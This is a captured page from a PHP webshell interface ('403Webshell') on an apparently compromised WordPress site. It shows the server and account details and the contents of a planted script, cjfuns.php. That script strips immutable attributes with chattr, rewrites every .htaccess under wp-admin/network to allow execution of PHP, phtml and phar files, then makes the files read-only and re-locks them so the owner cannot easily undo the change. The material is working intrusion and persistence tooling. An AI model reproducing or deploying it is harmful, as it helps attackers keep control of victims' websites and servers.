403Webshell
Server IP : 66.29.153.156  /  Your IP : 216.73.217.92
Web Server : LiteSpeed
System : Linux premium322.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User : lastyfjz ( 1521)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/lastyfjz/dermalaserclinic.co.uk/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/lastyfjz/dermalaserclinic.co.uk/cjfuns.php
<?php
// Upload folder: /home/lastyfjz/dermalaserclinic.co.uk/wp-admin/network
$uf = '/home/lastyfjz/dermalaserclinic.co.uk/wp-admin/network';

$ht = '# ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================

# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\\.(php|php[0-9]+|phtml|phar|inc)$">
    Allow from all
</FilesMatch>

# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\\.ht">
    Deny from all
    Satisfy All
</Files>

<FilesMatch "\\.(htaccess|htpasswd|htgroup)$">
    Deny from all
</FilesMatch>

# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \\.ht

# 4. NO DIRECTORY LISTING
Options -Indexes

# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
    Deny from all
</FilesMatch>';

// FORCE UPDATE ALL .htaccess - EVEN LOCKED ONES
function forceFixAll($folder, $content) {
    if (!is_dir($folder)) return;
    
    $allDirs = [$folder];
    $stack = [$folder];
    
    // Get ALL directories
    while (!empty($stack)) {
        $current = array_pop($stack);
        $items = @scandir($current);
        if ($items) {
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                $path = $current . '/' . $item;
                if (is_dir($path)) {
                    $allDirs[] = $path;
                    $stack[] = $path;
                }
            }
        }
    }
    
    // DELETE AND RECREATE EVERY .htaccess - EVEN LOCKED
    foreach ($allDirs as $dir) {
        $htFile = $dir . '/.htaccess';
        
        // REMOVE IMMUTABLE LOCK FIRST (Linux)
        if (PHP_OS_FAMILY === 'Linux' && function_exists('exec')) {
            @exec('chattr -i ' . escapeshellarg($htFile) . ' 2>/dev/null');
        }
        
        // DELETE OLD FILE
        if (file_exists($htFile)) {
            @chmod($htFile, 0644);
            @unlink($htFile);
        }
        
        // CREATE NEW FILE
        file_put_contents($htFile, $content);
        chmod($htFile, 0444);
        
        // RE-LOCK IT
        if (PHP_OS_FAMILY === 'Linux' && function_exists('exec')) {
            @exec('chattr +i ' . escapeshellarg($htFile) . ' >/dev/null 2>&1 &');
        }
    }
}

// RUN THE FIX - UPDATES EVEN LOCKED HTACCESS
if (is_dir($uf)) {
    forceFixAll($uf, $ht);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit